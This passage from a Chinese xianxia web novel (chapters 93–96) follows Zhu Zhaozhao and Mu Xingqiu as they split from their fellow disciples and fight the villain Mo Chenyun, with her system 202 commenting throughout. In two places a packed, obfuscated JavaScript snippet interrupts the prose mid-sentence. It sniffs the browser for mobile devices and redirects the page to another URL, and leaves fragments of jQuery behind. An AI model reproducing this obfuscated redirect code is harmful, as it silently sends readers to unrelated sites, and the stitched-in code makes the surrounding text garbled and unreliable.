“你说我和慕师兄胡乱跑动时可曾想过,如果没有人‘胡乱跑动’,一些被神深深藏起的问题是如何被挖掘出来的。” “靠你像疯子一样撒泼打滚,嚷嚷着想吃灵果求来的吗?” 最不愿被提起的事就这样被祝昭昭挑明,上官修气得倒仰:“你——!” “你什么?” 祝昭昭话不停:“你此刻清醒,或许已经不记得当初自己求吃灵果的疯态,又或是自觉羞耻不想再提。” “可你对大家造成的困扰,却是实实在在出现过的。大家如今不提,只是怕伤了和气。” “你又以为你是什么好东西?” 浑身都控制不住地颤抖起来,上官修目眦欲裂地瞪着祝昭昭。 “还有。” 丝毫不惧地迎上他的目光,祝昭昭继续:“你知不知道你如今能在这装模作样地指天骂地,全拜我方才分的醒神丹所赐?” “若是按照你的说法,我与慕师兄都是陷害大家的罪魁祸首……” 祝昭昭微笑起来,神情意味深长:“那吃了我这罪魁祸首的丹药才清醒过来的你,岂不是在助纣为虐?” 明明只是语调悠闲的一句问话,对上官修而言却如同当头一棒。 他彻底哑口无言。 祝昭昭于是也见好就收。 收回落在上官修身上的视线,她眉眼弯弯地看向众人:“好了,所以关于洛水的现状,大家觉得应该如何解决?” 像是终于从什么极度震撼的画面里回过神来,所有人沉默着、难得一致地,齐刷刷盯住慕行秋。 慕行秋被看得一怔,继而轻笑了声:“既然洛水镇的法门在于幻境。” “那么我们最该做的,便是找到幻境的弱点。” 白月书提出异议:“难道不该先找到神么?” “攻击幻境弱点,神自然会被引出来。”祝昭昭晃晃脑袋,状似无意地插话,“我们刚好可以借此机会设下陷阱,让神落入包围。” 贺稚雪表示赞同:“这倒是个好主意。” 有了祝昭昭抛砖引玉,众人很快开始讨论起来。 也因为讨论得太过专注,没有人注意到慕行秋望着祝昭昭的,若有所思的目光。 * 讨论到最后,一行九人得出了明确的分工—— “那么我们便分作两组。” 白月书仔细说明:“之衡、陈青、上官、刘统还有钟安林,你们几人负责引开洛水镇民。” “我、昭昭、稚雪、云珈,还有慕师兄,则去毁掉那枚月亮法器。” 她语速缓慢,表述却清晰,显然每句话都认真考虑过:“能笼罩整个洛水镇的幻境,必定需要大量灵力来维持。毁掉月亮法器,等于断了幻境的灵力供给,幻境动荡,神必然会出现。” “我们便可趁这个时候,与之一战。” 话落,白月书看向众人:“各位可有异议?” 由于刚刚爆发过争吵,白月书心知自己说完,应该会有人提出异议。 可她猜中了有人会有异议,却没猜中有异议的人是谁。 视线掠过黑着脸的上官修落到钟安林身上,白月书看着他欲言又止的神色,心头一阵诧异:“钟师弟,你有何问题?” 钟安林吞吞吐吐:“我……” 有上官修的前车之鉴,钟安林越扭捏,白月书越担心他提出什么离谱要求。 一颗心渐渐沉了下去,白月书与其余人快速交换了目光。 如今这个节骨眼上,钟安林若是提太过分的要求,他们也不介意好好修理一下他。 逐渐开始紧绷的气氛里,钟安林终于开口—— “我想和慕师兄一组。” 不止白月书,所有人脸上的表情都一瞬空白。 想和慕师兄一组? 就这? 摆出一副有口难言的架势,结果就是为了和慕行秋组队?? 真就崇拜到这程度?? 眨眨眼,白月书好半天才找回自己的声音:“……可是钟师弟,引开洛水镇民一事同样重要。我们不能因为一己私欲而不顾大局……” “我知道。” 钟安林一看就是有备而来:“所以让贺师妹与我一换,即可万事大吉。” “毕竟她与陈青都是二长老亲传,一起行动会更有默契。” 他说着,神情竟然带了点‘我这是在为大局考虑’的骄傲:“对接下来的行动一定颇有助益。” 此番发言脸皮之厚,惊得祝昭昭都不由得侧目。 怎么好意思说出来的? 真就油盐不进? 不过震惊归震惊,祝昭昭很快反应过来钟安林这抽象要求,正好给了自己之后脱离慕行秋视线范围单独行动的机会。 于是脑中念头急转,她换上善解人意的模样:“钟师兄,我和你换。” 不知什么时候抓住了贺稚雪衣袖,看样子是准备和她极限掰扯的钟安林回头。 似乎是终于反应过来祝昭昭刚才说了什么,他转身,感动地作势要捧祝昭昭的手:“昭昭师妹真是太好了,师兄谢谢你。” “不客气,能为钟师兄排忧解难,昭昭也很高兴。” 扫了眼正一脸嫌弃地帮贺稚雪拍衣袖的陈青,见势不妙的祝昭昭连忙抬手摸向后脑。 谢人心切的钟安林立刻瞄准了她空着的左手。 祝昭昭:咦惹。 好在千钧一发之际,慕行秋的话音从旁响起:“计划就是计划,为何要换来换去。况且你本就请求贺师妹,那便轻易不要再改。” “贺师妹若愿意,你便换,不愿意便作罢。” 他望向贺稚雪:“所以贺师妹意下如何?” 突然反应过来自己的手不知不觉已经在陈青掌心,立刻捏紧拳头给了他一拳,贺稚雪答:“我都行。” 钟安林当即乐得手舞足蹈。 倒是握手危机被化解的祝昭昭有些意外。 慕行秋竟然就这么答应了? 直觉这家伙一定在打什么歪主意,祝昭昭余光瞄他片刻,最后却什么都没说。 不答应也好,答应了也罢,反正总归到时候她也不会和他们同路。 当然也无所谓他们怎么分队伍。 思忖着,另一边众人重新划分队伍人员后,白月书再次重申了各自队伍的任务。 然后确认:“大家还有什么异议么?” 这次,所有人齐声响应。 “既然如此。”她点头,“如今眼下情况危急,计划开始宜早不宜晚。” “那么明日,我们便行动吧。” 商讨结束后,为了谨慎起见,所有人决定今晚就在秦之衡房间度过。 子时—— 众人都为养精蓄锐专注入定时,祝昭昭睁开眼。 环视四周,确定没人醒着,她将白月书盖在自己膝头的薄毯盖回白月书身上后站起身,朝门口方向走。 蹑手蹑脚合上房门,祝昭昭很快停在自己房前。 然而刚抬手准备推开门,她眼尾余光就倏地了瞄见什么。 无声轻叹口气,祝昭昭扭头:“慕师兄。” 来人正是慕行秋。 闻言颔首轻笑,他双手环胸倚在门边,并没有走向祝昭昭的意思:“这么晚了,祝师妹还想回房间休息……” “是觉得房中太吵么?” 祝昭昭盯着慕行秋,欲言又止。 吵不吵的先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280576|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不评价,但她真是请问了,十二点跟‘这么晚了’究竟有哪门子关系? 这难道不是夜生活刚开始的时间吗? 祝昭昭:你我代沟似鸿沟,勿Cue。 不过吐槽归吐槽,祝昭昭才不会把这种话说出来:“自然不是,大家都在入定,怎么会吵。” “既然如此。” 慕行秋不置可否:“那师妹为何深夜离开?” 望着对面人那双沉静的双眼,祝昭昭心中忽然隐有预感。 于是沉默,她静静等着他继续。 果然下一秒—— “是因为明早想独自行动么?” 眼前人语气随意,眼底却分明写着了然。祝昭昭看得清楚,干脆选择沉默到底。 而反观慕行秋那边,再开口时,他语气已不复迂回委婉:“为什么不告诉他们山洞的事。” 他话说得足够清楚,祝昭昭便也开门见山:“我以为经过祭典那晚,慕师兄应该知道那地方有多危险,不会问这样的问题。” “正是因为我心知那处危险。” 慕行秋垂眸:“所以才更不明白,以祝师妹的头脑应该很清楚,那样危险的地方,更要结伴而行才是。” 他说着,头轻轻斜倚靠门:“但师妹的选择却恰恰相反,叫我有些糊涂。” “师妹可否为我答疑解惑?” 望着对面人表面漫不经心,实则话藏机锋的模样,祝昭昭忽然扯起唇角。 想解惑是吗? 她开口,语气轻快:“因为若那日仅有我一人行动,本该平安结束才是。” 被人阴阳的祝昭昭不太高兴,所以她也不准备让别人高兴:“毕竟能快速治疗皮外伤的丹药,我这虽说不多,却还是有的。” “师兄觉得呢?” 慕行秋并不回答,脸上的笑容甚至更深了点。 铁了心要给这没事找事的家伙上眼药,祝昭昭亦坚定回盯。 接着就看斜倚门框的慕行秋起身。 依旧散漫如闲聊般的话音也同时响起:“我也觉得师妹你所言极是。” 没想到慕行秋竟然那么快服软,本来已经准备和他杠到底的祝昭昭不由得一愣。 接着就听他继续:“不过我既已撞见师妹你的行径,就断然不可能放任师妹你独自一人涉险。” 再看他作势要推门:“我这便叫醒他们,重新商讨明日的计划。” 眼见他手已经贴在门板,只差一用劲,就真的可以推开门—— 祝昭昭当场认输。 “等等!” 本着英雄好汉能屈能伸的信条,她换上甜甜笑脸:“行秋师兄有话好好说。” “哦?” 像是听见什么有意思的发言,慕行秋回眸,兴味盎然地瞧她:“我难道不是从头到尾都在与祝师妹你好好说话么?” 好好说话个鬼啊! 祝昭昭:地铁老人脸·jpg 用尽全力才没当着慕行秋的面翻白眼,她笑眯眯地装傻:“昭昭当然知道师兄一直在好好说话。” “昭昭的意思是说,现在这么晚了,明日任务又紧,我们怎可因为一些小摩擦就打扰大家养精蓄锐?” 她郑重其事地摇头:“这样不好。” 被她逗得轻笑出声,慕行秋贴在门上的手掌微蜷,化推为点:“那若按照师妹你的意思,我如今应该怎么做才是?” 祝昭昭不假思索:“关于山洞的事,我们可以再好好商量呀。” 装模作样地想了下,她道:“今晚你就让我自己留在我房间,明早我再与大家汇合,待毁坏月亮法器后,我再告诉大家山洞的事,然后大家一起处理。” “慕师兄你说好不好?” 闻言不置可否,慕行秋眉眼弯弯:“比起师妹你的计划,我倒是有更好的主意。” 祝昭昭没什么耐心听,随口敷衍:“慕师兄请说。” “我明日独自去处理山洞,”慕行秋淡声,“你与月书她们一起,去毁坏月亮法器。” 祝昭昭几乎立刻:“不行。” “为何不行?”慕行秋似笑非笑地望着她,“你不是本就想独自解决此事么?” “为何换我去做你想做的事,就不行呢?” 抿了抿唇,祝昭昭一言不发地盯着地面。 空气很快安静下来,只剩不知何处的蝉鸣声不时响起。 过了许久,又也许只是很快的功夫,祝昭昭忽然深吸口气,像是终于下了很大的决心。 “好吧,我同意你和我一起。” 刻意维持的客套与尊敬因计划被打乱而彻底维持不住,祝昭昭这句话,直白到近乎无理。 可慕行秋却依旧只是静静听着,丝毫不因被轻慢而生出不满,只是笑着答应了她:“多谢师妹。” 这模样落在吃了瘪的祝昭昭眼里,顿时只觉他在挑衅。 于是她也笑,一字一句都像从牙缝里挤出来—— “不客气,慕师兄。” 94. 他们,他们这是……(抖 习惯就好,当…… 寅时刚过,白月书便睁开了眼。 她习惯性顺着昨晚的记忆摸向身旁,想叫醒祝昭昭。 伸出的手却摸了个空。 心头顿时一个咯噔,瞬间清醒的白月书扭头—— 果然已经不见祝昭昭身影。 “昭昭?” 昨晚那些诡异镇民说的话控制不住地出现在脑海,她立刻环顾四周:“你在哪?” 白月书声音不小,其他人很快被她叫醒,也纷纷睁开眼。 坐在白月书另一边的秦之衡还有点没搞清楚状况:“怎么了月儿,为何如此焦急?” 一听他尚且懵然的语气就更加焦急,白月书不由得扬声:“昭昭不见了!” 原本还在揉着眼睛的云珈顿时蹦起来:“什么?昭昭不见了?” 几乎是立刻便绕着房间跑了一圈,她拉开门朝门外探出半个身子,半晌后又缩回来。 满脸写着惊恐:“昭昭好像真的不见了,我没在她房间里感觉到她的气息。” 看着白月书瞬间僵直的眼瞳,顿感不妙的秦之衡立刻安慰她:“没事的月儿,昭昭她可能只是晨起外出找地方洗漱了。” 白月书浑身一震。 秦之衡连忙改口:“与洛水的朋友出去……” 白月书嘴唇都开始颤抖。 见状彻底闭上嘴,秦之衡默默背过身自闭。 不过三人的混乱,很快从贺稚雪摸起放在桌上的,无人在意的一张纸结束。 “昭昭是和慕师兄一起离开了。” 贺稚雪快速扫了眼纸上写的内容:“慕师兄还留了三道剑气,让我们在需要的时候用。” 上官修闻言,当即‘呵’了一声:“有需要的时候用?还真亏他说得出来。” “昨晚他又不是没在场,在明知道如今的洛水危险重重的情况下还带人离开,他究竟有没有把其他人的安危放在眼里?” 没人搭理上官修,空气安静下来。 直到钟安林突然后知后觉‘啊’了一声,接着仿佛终于搞清楚状况般问:“慕师兄走了??” 看着他渐渐泛红的眼眶,众人于心不忍地点头。 于是钟安林再颤声:“慕师兄真走了??” 众人面色沉痛,再点头。 钟安林终于掩面,肩膀一抽一抽的。 实在看不下去的秦之衡走到钟安林身旁轻拍他肩膀,然后被钟安林顺势搂住,泪洒衣襟。 “明明都说好了……慕师兄他怎么能丢下我……我实在太难受了……” 见状瞬间瞳孔地震,云珈抖着手看向白月书。 哪怕她一言不发,脸上的震撼也足以说明一切。 白月书却只是死鱼眼摇摇头,仿佛早已习惯。 果然很快,钟安林抽抽嗒嗒的声音再响:“我都想好了要怎么习得慕师兄的一二分剑意,观摩他出剑的手法……” “可是这一切……都没了……” 钟安林彻底绷不住,抬起头放声干嚎:“都没了啊!” 恢复自由的秦之衡找准机会溜回白月书身旁,然后因肩膀处的涕泗被白月书踢到一边;贺稚雪满脸嫌弃地拉着陈青躲远,其余人也赶紧与钟安林拉开距离,生怕成为下一个受害者。 从头到尾,没人给上官修一个眼神。 本以为是自己说得太有理才无人反驳的上官修见状恨恨咬牙,最后不再吭声。 “好了。” 无奈叹了口气,白月书道:“慕师兄带着昭昭离开,想必一定有他的原因。既然他两人安全无虞,那我们重新组队便是。” 白月书正说着,站在她身后的云珈突然似有所察地扭头盯着门口半晌,接着像是要确认什么般走到门前。 片刻功夫后,另一边白月书的话也已接近尾声:“……稍后两组便分别由我与陈青带队,其他计划维持不变。” “大家意下如何。” “还有什么如不如何的。” 好不容易收了声的钟安林抽抽鼻子:“慕师兄不在,凭我们虽也足够完成任务,但风险必定会变大,所以更需大家一起合作,齐心协力。” “绝不能再有人掉队了。” 他说着,似有所指的目光有意无意落在上官修身上。 被钟安林看得光火,上官修冷哼一声刚想发作,最后被刘统劝住。 将小插曲收进眼底,白月书收回目光,捏着装有慕行秋剑气的三枚木签:“那么,我们这就……” 话音未落,有人忽然插话。 “等等。” 是云珈。 手里捏着个小小纸鹤和一枚储物袋,云珈走到白月书身旁:“月书师姐,你先看看这个。” “是昭昭留给你的。” 闻言立刻接过云珈手中的两样东西,白月书展开纸鹤。 片刻后,她以灵力将纸鹤点燃。 贺稚雪有些好奇:“月书,你怎么把它烧了?” 陈青在边上接话:“是啊,这信纸还加了避视咒。上面写了什么那么神秘?” 闻言并不回答,白月书从祝昭昭给的储物袋中取出两样高阶攻击法器,轻轻放在桌上。 众人的惊呼声里,她开口:“抱歉了各位,我与云珈……” “稍后也会离开。” * 客栈外—— 目光从四周的景色收回,慕行秋望着前方不远的祝昭昭,似笑非笑:“昭昭师妹。” 寻声侧过脑袋,祝昭昭抬了抬下巴:“嗯?” 落叶从掌心滑过,慕行秋语调悠闲:“你确定我们如今……” “是在往山洞的方向去?” 当然不是。 也学着慕行秋装模作样环视一圈,祝昭昭搬出早就想好的说辞:“我们上次把山洞附近搅得天翻地覆,这次还去那里岂不是很危险。” “万一那什劳子神就在山洞设下了天罗地网,等着我们主动去投呢?” “我们当然不能着了他的道。” 刻意慢下速度等慕行秋跟上来,祝昭昭朝他笑得狡黠:“慕师兄你说是不是?” 少女微弯的眉眼柔和,被额前碎发切割的阳光落在她脸上,为她脸颊镀上一层淡金色。 慕行秋不置可否,就那么望着她轻笑一声。 虽然没搞懂慕行秋突然笑什么,不过好歹这通说辞算是蒙混过关,祝昭昭还是在心底悄悄松了口气。 再转而在脑内召唤202:“你那边准备得怎么样。” “主人放心。”202很快答应,“我这边早就已经准备完毕,你可以随时开始哦。” 闻言放下心来,祝昭昭很快选了处空地:“慕师兄,我看这里就很适合动手,我们就在这停下吧。” 说完不给慕行秋发表意见的机会,她直接操纵灵华降落在地面。 然而祝昭昭刚准备叫慕行秋一起下来,下一秒,一道防护结界直接从天而降,将她从头到脚罩了个结实。 祝昭昭:??? 这是在干什么·jpg 目光追随着紧随而下的慕行秋,祝昭昭两手贴结界上,尽量让唇角扯起的弧度看起来更真情实感一点:“慕师兄,你这是什么意思啊?” “什么意思?” 饶有趣味的重复了一遍祝昭昭的话,慕行秋似笑非笑:“昭昭师妹觉得这该是什么意思?” 我不想知道! 祝昭昭差点翻白眼:“我觉得这是慕师兄不小心将我误关进来的意思。” “是么。” 缓步走到祝昭昭身前,慕行秋敲敲结界,眼底多了抹恶作剧般的笑意:“可是师妹。” “我就是刻意将你封在结界中的。” 贴着结界的十指瞬间骨节泛白,祝昭昭顿时只感觉脑瓜子被气得嗡嗡响。 你小子! 过河拆桥是吧?! 哪怕心里已经恨不得现在就轰开结界,先给对面人来场全武行,祝昭昭表面却还只能装无辜:“为 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说着掌心翻转,慕行秋手里多了个高阶防护法器:“不过师妹你所言确实有几分道理,所以为了让我稍后专心应战……” “不若我现在再催动法器,为师妹添上一层保护?” 防护法器的光芒耀眼,祝昭昭一个咯噔,生怕他来真的:“哎呀那个,法器催动需耗费灵力,昭昭怎么好在这个节骨眼浪费慕师兄你的灵力呢?” 她直起身,做了个‘您请’的手势:“慕师兄你别管我了。” “昭昭保证乖乖呆在结界里,绝对不给你添乱。” 嗯。 果然又叫回慕师兄了。 闻言心底轻笑一声,慕行秋不置可否,只是朝祝昭昭弯弯眉眼。 一副挑衅相,看得祝昭昭狠狠磨牙。 202出来打圆场:“哎呀主人,往好处想,你跟大反派犟嘴半天,他都没有直接把你送回其他人那里去呢。你就别生气了。” “他倒是敢。” 祝昭昭没什么好气:“就他那个心眼子,只怕是觉得前脚送我回去,后脚我就会偷跑出来。所以干脆一做不二不休,把我关在这看管起来而已。” “你以为他是什么好人啊?” “可是……”202伸出机械手摸摸脑袋,“就之前几次我围观过的经验来看,大反派这家伙对故意坑他的人从来都不留手的。” “他对主人你客气的都有点怪怪的了。” 被202噎得一哽,祝昭昭最后不耐烦地‘啧’一声打发它:“你懂什么,这都是他的阴谋诡计,专门用来迷惑你这种意志不坚定的系统。” “你可别被他骗了。” 老实点了两下头,202绕着祝昭昭飞:“那主人你觉得大反派会准备怎么把那家伙引过来?” “他先前已经和莫沉云交过一回手。” 祝昭昭望着不远处慕行秋的背影:“正常来说,其实昨晚那帮人拿着暗器来的时候就该抓到他了,可他却在洛水镇大摇大摆晃悠到现在,你就没想过怎么回事?” 202平静到有点痴呆:“怎么回事?” 扫它一眼本来想骂,然而话将要脱口时忽然想到什么,祝昭昭最后叹了口气:“他直接掩盖了自己的气息。” 目光重落在一袭白衣的人身上,祝昭昭哼笑一声:“能在莫沉云的主场把自己藏到这种程度,只怕慕行秋这家伙的修为……” “早就不止元婴后期。” 她话音落下的刹那,慕行秋周身忽然无风自动。 鬓角发丝仿佛被无形的手轻轻掠起,慕行秋的本命剑朝元出现在他身前。莹白色的剑光大盛,让祝昭昭得以看清他不知何时冰冷下去的眼瞳。 食指随意卷起一缕发转圈,她百无聊赖地靠在结界壁上,开始在心里倒数。 倒数来到最后一个数时,一道身影也悄然出现在空中。 “瞧。” 祝昭昭笑。 “主角这不就来了。” 95. 主人我这有墨镜哦! 伴随身影一齐出现的,是一道自上而下的暴烈灵力。 灵力目标明确,转眼就将慕行秋吞噬。瞬间炸开的光芒刺激地祝昭昭不得不抬手挡住眼。 但再刺眼,也不妨碍她边围观边吐槽:“上来就是大招,这家伙……” 202在旁边插嘴:“莫沉云。” “哦,莫沉云。” 祝昭昭打了个响指:“这莫沉云上来就放大招,看起来应该是想速战速决。” “想速战速决不是很正常吗。” 202飞到祝昭昭身旁:“身为洛水镇的实际控制人,他应该有察觉到其他人在靠近那个月亮法器吧。” “可能是想快速解决完这边,然后再赶过去那边把其他人抓起来?” 祝昭昭闻言点头:“你说得倒也有道理。” “那是当然。” 得意地转起圈圈,想起白月书和秦之衡全武行那晚,202趁热打铁献殷勤:“灵光那么刺眼,主人你需不需要墨镜?” “饮料我这里也有哦!” 岂料它马屁拍到马腿上,祝昭昭当即无比嫌弃地‘啧’了一声:“什么墨镜什么饮料,现在是做这些的时候吗?” 202顿时震惊又委屈:“可是主人,上次男女主打架的时候,你不就是这样围观的嘛。” “小情侣打架和现在的情况能一样吗?” 祝昭昭一脸‘你小子到底懂不懂’的表情:“小情侣打架打完就完了,回家还会自己和好,我当然可以随便看。” “问题现在是搏命的时候,一个不小心事情就大了,你觉得我还能有心思喝饮料吗?” 被祝昭昭好一顿损,202顺着她话瞄了眼空中后小声:“那大反派会受伤吗?” “当然不会。” 原本满脸的肃色顿时切换成死鱼眼,祝昭昭朝空中抬抬下巴:“喏,你看——” 仿佛是在印证祝昭昭的话般,随着灵光逐渐熄灭,慕行秋的身影重新出现在空中。 手持朝元横于身前,神色平静的他一身白衣完整,甚至连鬓发都丝毫未乱。 惊讶的202:哇哦。 而反观另一边,莫沉云亦神色平静,动作随意地拂去弥漫在周身的灵力。 他慢条斯理地开口:“竟能躲过这招,倒是我小瞧了你。” 第一次在现实世界听见莫沉云说话,原本还在静静围观的祝昭昭和202,突然很有默契地对视一眼。 最后是202率先出声:“……他那时候怎么能叫那么尖的?” 祝昭昭作思考状:“也许是吓过头了。” 202不太确定:“是,是吧?” 又是一番深深的思考后,祝昭昭郑重点头:“我想是的。” 嗯…… 再次不约而同地沉默下去,一人一机选择继续观战。 慕行秋闻言并不接话,只是不紧不慢挽了个剑花,白衣雪剑,姿态堪称优雅。 看得莫沉云眼底一片阴沉。 但他伪装得很好,还能按捺不满勾起唇角:“上次你全须全尾离开,已是我心善放你一马。如今还敢回来……” “是觉得此地作为你葬身之所,也算不错么?” 话落又是一道灵力闪电般扑向慕行秋,莫沉云语调微冷:“既然如此,那我便遂了你的愿。” 波澜不惊的神色在听到那句‘如今还敢回来’时,忽然微微泛起涟漪。目光状似无意地扫过不远处的莫沉云,慕行秋举起朝元。 灵力来势汹汹,比第一次猛烈了数倍不止。然而就算如此,却依旧被朝元一剑斩开。 且朝元剑气凌厉,斩开莫沉云的攻势后威力不减反增,直直削下莫沉云一缕发。 飘落至眼前的碎发如同无声的挑衅,骤然爆发的灵火将之燃烧后,莫沉云一改方才的温和淡然,盯着慕行秋的目光如阴冷毒蛇。 下一秒,四周林木沙沙作响,无数叶片爆/射而出,如数不清的利剑刺向慕行秋。 “哇!” 292被这景象吓了一跳:“这个好吓人啊,挨到会变成刺猬的吧?” “莫沉云那家伙原来这么厉害的吗?” 祝昭昭对202一惊一乍的反应表示无语:“有什么可奇怪的,他是木灵根,洛水镇又完全被他控制,他能操纵树林很奇怪吗?” 说着敲敲结界,她像是想到什么:“照这么说,难怪灵果是洛水镇独有的产物。毕竟如果没猜错的话,那玩意估计也是他创造出来的。” “完全一个自循环的小世界啊。” 目光落在空中,祝昭昭轻嗤一声,神色似笑非笑:“这地方能在正派宗门眼皮底下藏那么久,确实有点原因。” 自从被叶片包围后,慕行秋就没了声息。见状冷笑一声,莫沉云随手朝地面一招,一段藤蔓立即纠结缠绕着疯长,直到伸延进他手中。 抬手的瞬间,藤蔓便自行断裂,只留数寸于莫沉云掌心。而他握着藤蔓,似挑衅般摆出慕行秋方才横剑与身前的姿势。 俯视的目光亦轻慢:“初入洛水那日,你打破幻境闯出生天,叫我不由高看你一眼。不过如今看来,你也不过尔尔。” 收起不成技法的持剑手势,莫沉云如孩童玩乐般将藤蔓随意一扬,淡青色灵力便朝着聚集的叶片飞/射而去。 身为系统的202几乎立刻就察觉到了危险:“主人啊,那道灵力是往大反派心脏位置去的啊!!” 祝昭昭却没什么反应。 她甚至还有心思掏耳朵:“看到了。” 202:呐喊·jpg 扫了眼202那一惊一乍的不值钱样,祝昭昭顿时只觉一阵头疼:“你能不能冷静点。” 她恨铁不成钢地:“慕行秋一个把位面杀到重开的人,生命力之顽强堪比美洲大蠊。这会儿不过一道灵力,你至于好像已经看见他尸体了一样吗?” 被骂的回过味来,202有点不好意思:“那还不是因为大反派在叶子里太老实了嘛。” 祝昭昭:“老实就是死了?” 202小声嘟囔:“快死跟死了有什么差别。” 祝昭昭:…… 最后叹了口气,她不耐烦地抬眼:“那你接下来可以高兴了,因为他没死,也和快死搭不上边。” “是嘛?” 闻言高兴地蹦了两下,202刚准备抬头,就听空气里忽然炸开‘轰’的一声—— 下一秒,无数碎叶如暴雨般炸开,四散飞溅在各处。巨大的冲击力击散莫沉云挥出的灵力,空气中顿时只剩接连不断的利刃入物声。 盯着在结界上留下道道痕迹的叶片,202震惊到呆滞:“主人,没有这个结界的话,你会不会被切成生人片啊?” 生人…… 祝昭昭感觉脑子里的最后一根弦正在不断被拨撩:“202 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280578|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你要么说点能听的,要么就安静点干好你的事。” “别逼我在这种时候分心收拾你。” 202:沉默。 而另一边,脱身后便消失的慕行秋闪现在莫沉云身前,手中朝云高举,对着他便是一剑。 迥然于方才那只是削下一缕发的小打小闹,这一次,朝云快到只剩残影。莫沉云甚至来不及反应,冰冷剑气已经来到他面门。 用以抵挡的藤蔓轻易便在剑气下断作两截,而断口后面,莫沉云的脸上也裂出道血痕。 血痕刺目,慕行秋视线上面停留片刻,唇边忽然勾起抹弧度。 他开口,一字一句—— “不过尔尔。” 莫沉云眼瞳骤缩。 下一秒,破土之声轰然响起,无数藤蔓疯狂朝慕行秋扑去。 两道身影转瞬缠斗在一起,速度之快,空中霎时仅余枝影与剑光在不停闪动。暴烈的灵力掀翻四周物什,祝昭昭目光所及之处,一时竟不见完好的东西。 “打这么猛。” 余光里又是一截藤蔓砸落在地面,祝昭昭轻嘶一声:“我现在开始有点担心慕行秋布下的这个结界质量到底怎么样了。” “别等会儿我还没加入战场,就先被这两人的攻击波及受了伤。” 她双手环胸,斜倚上结界:“那可是要算计划外工伤的。” “还计划外工伤呢。” 202用一种‘主人你快醒醒’的表情看着祝昭昭:“主人你根本没办法光明正大打开这个结界,不出意外的话,你肯定要在这待到他们打架结束的。” “还是别想什么上不上战场的了吧。” 说着‘唉’了一声,它盯着空中两道身影片刻,又自我安慰起来:“不过虽然和原计划有点出入,但总的来说,只要大反派赢了,那计划还是可以继续的。” 察觉到202语气里的笃定,祝昭昭忽然挑眉:“你觉得慕行秋会赢?” “不是我觉得。”202胸有成竹,“而是大反派肯定会赢。” 它相当自信地指指空中:“主人你看,莫沉云那家伙的攻势明显跟不上大反派了,不是大反派赢是谁赢。” 祝昭昭于是顺着202手指的方向去看。 又很快收回目光。 空中剑光耀目,剑鸣音一刻不停。她当然知道慕行秋攻势猛烈,不过短短一炷香时间,便已经将莫沉云操纵的藤蔓林植斩得七七八八,好几次如果不是莫沉云躲得快,甚至都要被朝元剑削下手指头。 可作为一个上周目差点团灭男女主小队的人,莫沉云真的就那么弱吗? 无意识敲击结界的指尖越来越快,祝昭昭盯着那道略显狼狈的身影,眼中极快地闪过抹流光。 片刻后,她神色了然。 原来如此。 唇边多了抹笑意,祝昭昭忽然开口:“202,你刚才是不是说我没办法光明正大打开这个结界。” 因为觉得自己判断得很有道理,202理直气壮:“对啊,怎么了?” “没怎么。” 手中多了团灵力,从被关在结界里就没走动过的祝昭昭抬脚,缓步在一个方位停了下来。 看着结界外的战况,她意味深长:“我只是现在就让你看看……” “我怎么光明正大让这个结界被打开。” 话音落下的瞬间,灵力在祝昭昭掌心轰然炸裂。 96. 哎呀好危险,我差点受伤哦! 下一秒,清脆的碎裂声响起。 本该坚不可摧的防御结界破碎,纷扬落下的碎片折射着日光,如同凭空下起一阵冰晶雨。 打破结界的藤蔓就在耳侧,带起的风吹乱祝昭昭鬓角碎发。 她却依旧神色自若。 她甚至有心情眉眼弯弯地,和朝自己这边望过来的慕行秋打招呼。 “慕师兄,好险呀。” 轻快狡黠的语气里听不出半点恐惧,目光从祝昭昭含笑的眉眼处收回,慕行秋静静望着那根藤蔓。 那根准确无比地穿透结界罩门,又巧之又巧地避开了祝昭昭的藤蔓。 那根但凡出现在结界罩门以外的任何一处,都绝无可能将结界打碎的藤蔓。 而这根藤蔓出现的缘由…… 早在方才已经驭剑来到自己身旁,少女拍拍胸/脯,像是真的被结界破碎一事惊吓到:“真是好危险啊,如果不是昭昭运气好,现在已经被藤蔓穿了肩膀了。” “不过没关系。” 祝昭昭看着慕行秋,将天真无辜的傻白甜形象展露得淋漓尽致:“昭昭知道慕师兄的良苦用心,不会责怪慕师兄的。” 呵。 运气好? 责怪? 深深看了祝昭昭一眼,慕行秋并不和她客气:“昭昭师妹,如今师兄给你两个选择。” 祝昭昭完全没被他的态度吓住。 反而兴味盎然地眨眨眼:“什么选择?” “一、自己下去,我护着你去与其他人汇合;二……” 仿佛没听懂慕行秋的言外之意,祝昭昭没事人似的,依旧笑眯眯地问:“那二是什么?” “二是,” 慕行秋垂眸:“我现在便引动法器,让你在下方好好待上一阵。” 说着防御法器复又出现在手,他神色温和,语气却隐含警告:“师妹想如何选择。” 闻言摆出思考模样,祝昭昭拉长语调:“嗯,我的话……” “哪个都不选哦。” 话音落下的瞬间,她悍然出手,灵华猛地便朝慕行秋的方向直刺而去。 灵华锋锐,长剑却在将要刺中他时巧妙偏离—— 擦着他面颊刺进他后方空气。 下一秒,以灵华刺中的地方为中心,四周开始无形扭曲。 很快察觉到不对,慕行秋下意识想侧头查看,手腕却忽然被人一把握住。 几乎没费什么力气就将人拉到自己身前,祝昭昭声音轻快:“慕师兄要小心啊,不然很容易着了坏人的道哦。” 她说着,指了指前方。 慕行秋却没有看。 